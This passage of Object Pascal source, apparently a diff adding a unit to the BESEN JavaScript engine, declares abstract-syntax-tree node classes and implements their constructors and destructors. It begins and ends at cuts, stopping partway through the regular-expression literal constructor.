TBESENASTNodePrefixDecExpression=class(TBESENASTNodeUnaryExpression) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeNullLiteral=class(TBESENASTNodeLiteral) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeNumberLiteral=class(TBESENASTNodeLiteral) + public + Value:double; + Index:integer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeRegExpLiteral=class(TBESENASTNodeLiteral) + public + Source,Flags:TBESENString; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeStringLiteral=class(TBESENASTNodeLiteral) + public + Value:TBESENString; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeThisLiteral=class(TBESENASTNodeLiteral) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeObjectLiteralPropertyType=(banolptNONE,banolptACCESSOR,banolptDATA); + + TBESENASTNodeObjectLiteralPropertyAccessorType=(banolpatNONE,banolpatGET,banolpatSET); + + TBESENASTNodeObjectLiteralProperty=class(TBESENASTNodeLiteral) + public + PropertyType:TBESENASTNodeObjectLiteralPropertyType; + PropertyAccessorType:TBESENASTNodeObjectLiteralPropertyAccessorType; + Name:TBESENString; + Value:TBESENASTNodeExpression; + Container:TBESENFunctionLiteralContainer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeObjectLiteralProperties=array of TBESENASTNodeObjectLiteralProperty; + + TBESENASTNodeObjectLiteral=class(TBESENASTNodeLiteral) + public + Properties:TBESENASTNodeObjectLiteralProperties; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeReturnStatement=class(TBESENASTNodeStatement) + public + Expression:TBESENASTNodeExpression; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + + TBESENASTNodeProgram=class(TBESENASTNode) + public + Body:TBESENASTNodeFunctionBody; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure ExecuteCode(const Context:TObject;var AResult:TBESENValue); override; + end; + +implementation + +uses BESEN,BESENUtils,BESENCode; + +constructor TBESENFunctionLiteralContainer.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Literal:=nil; +end; + +destructor TBESENFunctionLiteralContainer.Destroy; +begin + BESENFreeAndNil(Literal); + inherited Destroy; +end; + +procedure TBESENFunctionLiteralContainer.Finalize; +begin + if assigned(Literal) then begin + Literal.Container:=nil; + BESENFreeAndNil(Literal); + end; + inherited Finalize; +end; + +procedure TBESENFunctionLiteralContainer.Mark; +begin + inherited Mark; + if (assigned(Literal) and assigned(Literal.Body)) and assigned(Literal.Body.Code) then begin + TBESENCode(Literal.Body.Code).Mark; + end; +end; + +constructor TBESENASTNode.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntNONE; + Target:=-1; + Location.LineNumber:=-1; + fillchar(CodeGenData,sizeof(TBESENASTNodeCodeGenData),#0); + TrashNodes:=nil; + CountTrashNodes:=0; +end; + +destructor TBESENASTNode.Destroy; +var i:integer; +begin + for i:=0 to CountTrashNodes-1 do begin + BESENFreeAndNil(TrashNodes[i]); + end; + SetLength(TrashNodes,0); + inherited Destroy; +end; + +procedure TBESENASTNode.ExecuteCode(const Context:TObject;var AResult:TBESENValue); +begin + AResult:=BESENUndefinedValue; +end; + +constructor TBESENASTNodeExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntEXPRESSION; +end; + +destructor TBESENASTNodeExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeLiteral.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntLITERAL; +end; + +destructor TBESENASTNodeLiteral.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeIdentifier.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntIDENTIFIER; + Name:=''; + Index:=-1; + ParameterIndex:=-1; + ID:=-1; + IsParameter:=false; + IsLocal:=false; + IsReached:=false; +end; + +destructor TBESENASTNodeIdentifier.Destroy; +begin + Name:=''; + inherited Destroy; +end; + +constructor TBESENASTNodeVariableDeclaration.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntVARIABLEDECLARATION; + Identifier:=nil; + Expression:=nil; +end; + +destructor TBESENASTNodeVariableDeclaration.Destroy; +begin + Identifier.Free; + Expression.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeVariableExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntVARIABLEEXPRESSION; + Declarations:=nil; +end; + +destructor TBESENASTNodeVariableExpression.Destroy; +var i:integer; +begin + for i:=0 to length(Declarations)-1 do begin + BESENFreeAndNil(Declarations[i]); + end; + SetLength(Declarations,0); + inherited Destroy; +end; + +constructor TBESENASTNodeVariableStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntVARIABLESTATEMENT; + Declarations:=nil; +end; + +destructor TBESENASTNodeVariableStatement.Destroy; +var i:integer; +begin + for i:=0 to length(Declarations)-1 do begin + BESENFreeAndNil(Declarations[i]); + end; + SetLength(Declarations,0); + inherited Destroy; +end; + +constructor TBESENASTNodeFunctionBody.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntFUNCTIONBODY; + Variables:=nil; + Parameters:=nil; + Functions:=nil; + Statements:=nil; + IsFunction:=false; + IsEmpty:=false; + EnableLocalsOptimization:=false; + DisableArgumentsObject:=false; + IsStrict:=false; + Code:=TBESENCode.Create(Instance); + TBESENCode(Code).Body:=self; +end; + +destructor TBESENASTNodeFunctionBody.Destroy; +var i:integer; +begin +{$ifdef BESENEmbarcaderoNextGen} + Code:=nil; +{$else} + Code.Free; +{$endif} + for i:=0 to length(Parameters)-1 do begin + BESENFreeAndNil(Parameters[i]); + end; + for i:=0 to length(Functions)-1 do begin + BESENFreeAndNil(Functions[i]); + end; + for i:=0 to length(Statements)-1 do begin + BESENFreeAndNil(Statements[i]); + end; + SetLength(Parameters,0); + SetLength(Variables,0); + SetLength(Functions,0); + SetLength(Statements,0); + inherited Destroy; +end; + +procedure TBESENASTNodeFunctionBody.ExecuteCode(const Context:TObject;var AResult:TBESENValue); +begin + TBESENCode(Code).Execute(Context,AResult); +end; + +constructor TBESENASTNodeFunctionLiteral.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntFUNCTIONLITERAL; + Name:=nil; + Container:=TBESENFunctionLiteralContainer.Create(Instance); + Container.Literal:=self; + Body:=TBESENASTNodeFunctionBody.Create(Instance); + Body.IsFunction:=true; + Index:=-1; +end; + +destructor TBESENASTNodeFunctionLiteral.Destroy; +begin + BESENFreeAndNil(Name); + BESENFreeAndNil(Body); + if assigned(Container) then begin + Container.Literal:=nil; + BESENFreeAndNil(Container); + end; + inherited Destroy; +end; + +procedure TBESENASTNodeFunctionLiteral.ExecuteCode(const Context:TObject;var AResult:TBESENValue); +begin + if assigned(Container) then begin + Container.GarbageCollectorLock; + try + Body.ExecuteCode(Context,AResult); + finally + Container.GarbageCollectorUnlock; + end; + end else begin + Body.ExecuteCode(Context,AResult); + end; +end; + +constructor TBESENASTNodeStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntSTATEMENT; +end; + +destructor TBESENASTNodeStatement.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeFunctionDeclaration.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntFUNCTIONDECLARATION; + Container:=nil; +end; + +destructor TBESENASTNodeFunctionDeclaration.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeFunctionExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntFUNCTIONEXPRESSION; + Container:=nil; +end; + +destructor TBESENASTNodeFunctionExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeExpressionStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntEXPRESSIONSTATEMENT; + Expression:=nil; +end; + +destructor TBESENASTNodeExpressionStatement.Destroy; +begin + Expression.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeEmptyStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntEMPTYSTATEMENT; +end; + +destructor TBESENASTNodeEmptyStatement.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBlockStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBLOCKSTATEMENT; + Statements:=nil; +end; + +destructor TBESENASTNodeBlockStatement.Destroy; +var i:integer; +begin + for i:=0 to length(Statements)-1 do begin + BESENFreeAndNil(Statements[i]); + end; + SetLength(Statements,0); + inherited Destroy; +end; + +constructor TBESENASTNodeDebuggerStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntDEBUGGERSTATEMENT; +end; + +destructor TBESENASTNodeDebuggerStatement.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBreakStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBREAKSTATEMENT; + Identifier:=nil; +end; + +destructor TBESENASTNodeBreakStatement.Destroy; +begin + Identifier.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeContinueStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntCONTINUESTATEMENT; + Identifier:=nil; +end; + +destructor TBESENASTNodeContinueStatement.Destroy; +begin + Identifier.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeDoStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntDOSTATEMENT; + Statement:=nil; + Expression:=nil; +end; + +destructor TBESENASTNodeDoStatement.Destroy; +begin + Statement.Free; + Expression.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeWhileStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntWHILESTATEMENT; + Expression:=nil; + Statement:=nil; +end; + +destructor TBESENASTNodeWhileStatement.Destroy; +begin + Expression.Free; + Statement.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeWithStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntWITHSTATEMENT; + Expression:=nil; + Statement:=nil; +end; + +destructor TBESENASTNodeWithStatement.Destroy; +begin + Expression.Free; + Statement.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeForStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntFORSTATEMENT; + Initial:=nil; + Condition:=nil; + Increment:=nil; + Statement:=nil; +end; + +destructor TBESENASTNodeForStatement.Destroy; +begin + Initial.Free; + Condition.Free; + Increment.Free; + Statement.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeForInStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntFORINSTATEMENT; + Variable:=nil; + Expression:=nil; + Statement:=nil; +end; + +destructor TBESENASTNodeForInStatement.Destroy; +begin + Variable.Free; + Expression.Free; + Statement.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeIfStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntIFSTATEMENT; + Expression:=nil; + TrueStatement:=nil; + FalseStatement:=nil; +end; + +destructor TBESENASTNodeIfStatement.Destroy; +begin + Expression.Free; + TrueStatement.Free; + FalseStatement.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeLabelledStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntLABELLEDSTATEMENT; + Identifiers:=nil; + Statement:=nil; +end; + +destructor TBESENASTNodeLabelledStatement.Destroy; +var i:integer; +begin + for i:=0 to length(Identifiers)-1 do begin + BESENFreeAndNil(Identifiers[i]); + end; + SetLength(Identifiers,0); + BESENFreeAndNil(Statement); + inherited Destroy; +end; + +constructor TBESENASTNodeCaseStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntCASESTATEMENT; + Expression:=nil; + Statements:=nil; +end; + +destructor TBESENASTNodeCaseStatement.Destroy; +var i:integer; +begin + BESENFreeAndNil(Expression); + for i:=0 to length(Statements)-1 do begin + BESENFreeAndNil(Statements[i]); + end; + SetLength(Statements,0); + inherited Destroy; +end; + +constructor TBESENASTNodeSwitchStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntSWITCHSTATEMENT; + Expression:=nil; + CaseStatements:=nil; +end; + +destructor TBESENASTNodeSwitchStatement.Destroy; +var i:integer; +begin + Expression.Free; + for i:=0 to length(CaseStatements)-1 do begin + BESENFreeAndNil(CaseStatements[i]); + end; + SetLength(CaseStatements,0); + inherited Destroy; +end; + +constructor TBESENASTNodeThrowStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntTHROWSTATEMENT; + Expression:=nil; +end; + +destructor TBESENASTNodeThrowStatement.Destroy; +begin + Expression.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeTryStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntTRYSTATEMENT; + TryBlock:=nil; + CatchIdentifier:=nil; + CatchBlock:=nil; + FinallyBlock:=nil; +end; + +destructor TBESENASTNodeTryStatement.Destroy; +begin + TryBlock.Free; + CatchIdentifier.Free; + CatchBlock.Free; + FinallyBlock.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeArrayLiteral.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntARRAYLITERAL; + Elements:=nil; +end; + +destructor TBESENASTNodeArrayLiteral.Destroy; +var i:integer; +begin + for i:=0 to length(Elements)-1 do begin + BESENFreeAndNil(Elements[i]); + end; + SetLength(Elements,0); + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYEXPRESSION; + LeftExpression:=nil; + RightExpression:=nil; +end; + +destructor TBESENASTNodeBinaryExpression.Destroy; +begin + LeftExpression.Free; + RightExpression.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTEXPRESSION; +end; + +destructor TBESENASTNodeAssignmentExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentOperatorExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTOPERATOREXPRESSION; +end; + +destructor TBESENASTNodeAssignmentOperatorExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentMultiplyExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTMULTIPLYEXPRESSION; +end; + +destructor TBESENASTNodeAssignmentMultiplyExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentDivideExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTDIVIDEEXPRESSION; +end; + +destructor TBESENASTNodeAssignmentDivideExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentModuloExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTMODULOEXPRESSION; +end; + +destructor TBESENASTNodeAssignmentModuloExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentPlusExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTPLUSEXPRESSION; +end; + +destructor TBESENASTNodeAssignmentPlusExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentMinusExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTMINUSEXPRESSION; +end; + +destructor TBESENASTNodeAssignmentMinusExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentShiftLeftExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTSHIFTLEFTEXPRESSION; +end; + +destructor TBESENASTNodeAssignmentShiftLeftExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentShiftRightExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTSHIFTRIGHTEXPRESSION; +end; + +destructor TBESENASTNodeAssignmentShiftRightExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentShiftRightUnsignedExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTSHIFTRIGHTUNSIGNEDEXPRESSION; +end; + +destructor TBESENASTNodeAssignmentShiftRightUnsignedExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentBitwiseAndExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTBITWISEANDEXPRESSION; +end; + +destructor TBESENASTNodeAssignmentBitwiseAndExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentBitwiseXorExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTBITWISEXOREXPRESSION; +end; + +destructor TBESENASTNodeAssignmentBitwiseXorExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeAssignmentBitwiseOrExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntASSIGNMENTBITWISEOREXPRESSION; +end; + +destructor TBESENASTNodeAssignmentBitwiseOrExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryOperatorExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYOPERATOREXPRESSION; +end; + +destructor TBESENASTNodeBinaryOperatorExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryCommaExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYCOMMAEXPRESSION; +end; + +destructor TBESENASTNodeBinaryCommaExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryDivideExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYDIVIDEEXPRESSION; +end; + +destructor TBESENASTNodeBinaryDivideExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryModuloExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYMODULOEXPRESSION; +end; + +destructor TBESENASTNodeBinaryModuloExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryMultiplyExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYMULTIPLYEXPRESSION; +end; + +destructor TBESENASTNodeBinaryMultiplyExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryPlusExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYPLUSEXPRESSION; +end; + +destructor TBESENASTNodeBinaryPlusExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryMinusExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYMINUSEXPRESSION; +end; + +destructor TBESENASTNodeBinaryMinusExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryShiftLeftExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYSHIFTLEFTEXPRESSION; +end; + +destructor TBESENASTNodeBinaryShiftLeftExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryShiftRightExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYSHIFTRIGHTEXPRESSION; +end; + +destructor TBESENASTNodeBinaryShiftRightExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryShiftRightUnsignedExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYSHIFTRIGHTUNSIGNEDEXPRESSION; +end; + +destructor TBESENASTNodeBinaryShiftRightUnsignedExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryGreaterThanExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYGREATERTHANEXPRESSION; +end; + +destructor TBESENASTNodeBinaryGreaterThanExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryGreaterThanOrEqualExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYGREATERTHANOREQUALEXPRESSION; +end; + +destructor TBESENASTNodeBinaryGreaterThanOrEqualExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryLessThanExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYLESSTHANEXPRESSION; +end; + +destructor TBESENASTNodeBinaryLessThanExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryLessThanOrEqualExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYLESSTHANOREQUALEXPRESSION; +end; + +destructor TBESENASTNodeBinaryLessThanOrEqualExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryInstanceOfExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYINSTANCEOFEXPRESSION; +end; + +destructor TBESENASTNodeBinaryInstanceOfExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryInExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYINEXPRESSION; +end; + +destructor TBESENASTNodeBinaryInExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryEqualEqualExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYEQUALEQUALEXPRESSION; +end; + +destructor TBESENASTNodeBinaryEqualEqualExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryEqualEqualEqualExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYEQUALEQUALEQUALEXPRESSION; +end; + +destructor TBESENASTNodeBinaryEqualEqualEqualExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryNotEqualExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYNOTEQUALEXPRESSION; +end; + +destructor TBESENASTNodeBinaryNotEqualExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryNotEqualEqualExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYNOTEQUALEQUALEXPRESSION; +end; + +destructor TBESENASTNodeBinaryNotEqualEqualExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryBitwiseAndExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYBITWISEANDEXPRESSION; +end; + +destructor TBESENASTNodeBinaryBitwiseAndExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryBitwiseXorExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYBITWISEXOREXPRESSION; +end; + +destructor TBESENASTNodeBinaryBitwiseXorExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBinaryBitwiseOrExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBINARYBITWISEOREXPRESSION; +end; + +destructor TBESENASTNodeBinaryBitwiseOrExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeBooleanLiteral.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntBOOLEANLITERAL; + Value:=false; +end; + +destructor TBESENASTNodeBooleanLiteral.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeCallExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntCALLEXPRESSION; + TheFunction:=nil; + Arguments:=nil; +end; + +destructor TBESENASTNodeCallExpression.Destroy; +var i:integer; +begin + TheFunction.Free; + for i:=0 to length(Arguments)-1 do begin + BESENFreeAndNil(Arguments[i]); + end; + SetLength(Arguments,0); + inherited Destroy; +end; + +constructor TBESENASTNodeNewExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntNEWEXPRESSION; + TheFunction:=nil; + Arguments:=nil; +end; + +destructor TBESENASTNodeNewExpression.Destroy; +var i:integer; +begin + TheFunction.Free; + for i:=0 to length(Arguments)-1 do begin + BESENFreeAndNil(Arguments[i]); + end; + SetLength(Arguments,0); + inherited Destroy; +end; + +constructor TBESENASTNodeConditionalExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntCONDITIONALEXPRESSION; + Expression:=nil; + TrueExpression:=nil; + FalseExpression:=nil; +end; + +destructor TBESENASTNodeConditionalExpression.Destroy; +begin + BESENFreeAndNil(Expression); + BESENFreeAndNil(TrueExpression); + BESENFreeAndNil(FalseExpression); + inherited Destroy; +end; + +constructor TBESENASTNodeUnaryExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntUNARYEXPRESSION; + SubExpression:=nil; +end; + +destructor TBESENASTNodeUnaryExpression.Destroy; +begin + SubExpression.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeUnaryOperatorExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntUNARYOPERATOREXPRESSION; +end; + +destructor TBESENASTNodeUnaryOperatorExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeUnaryPlusExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntUNARYPLUSEXPRESSION; +end; + +destructor TBESENASTNodeUnaryPlusExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeUnaryMinusExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntUNARYMINUSEXPRESSION; +end; + +destructor TBESENASTNodeUnaryMinusExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeUnaryBitwiseNotExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntUNARYBITWISENOTEXPRESSION; +end; + +destructor TBESENASTNodeUnaryBitwiseNotExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeUnaryLogicalNotExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntUNARYLOGICALNOTEXPRESSION; +end; + +destructor TBESENASTNodeUnaryLogicalNotExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeUnaryVoidExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntUNARYVOIDEXPRESSION; +end; + +destructor TBESENASTNodeUnaryVoidExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeUnaryTypeOfExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntUNARYTYPEOFEXPRESSION; +end; + +destructor TBESENASTNodeUnaryTypeOfExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodePropertyExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntPROPERTYEXPRESSION; + Dot:=false; +end; + +destructor TBESENASTNodePropertyExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeLogicalAndExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntLOGICALANDEXPRESSION; +end; + +destructor TBESENASTNodeLogicalAndExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeLogicalOrExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntLOGICALOREXPRESSION; +end; + +destructor TBESENASTNodeLogicalOrExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeDeleteExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntDELETEEXPRESSION; +end; + +destructor TBESENASTNodeDeleteExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodePostfixIncExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntPOSTFIXINCEXPRESSION; +end; + +destructor TBESENASTNodePostfixIncExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodePostfixDecExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntPOSTFIXDECEXPRESSION; +end; + +destructor TBESENASTNodePostfixDecExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodePrefixIncExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntPREFIXINCEXPRESSION; +end; + +destructor TBESENASTNodePrefixIncExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodePrefixDecExpression.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntPREFIXDECEXPRESSION; +end; + +destructor TBESENASTNodePrefixDecExpression.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeNullLiteral.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntNULLLITERAL; +end; + +destructor TBESENASTNodeNullLiteral.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeNumberLiteral.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntNUMBERLITERAL; + Value:=0; + Index:=0; +end; + +destructor TBESENASTNodeNumberLiteral.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeRegExpLiteral.Create(AInstance:TObject); +begin + inherited 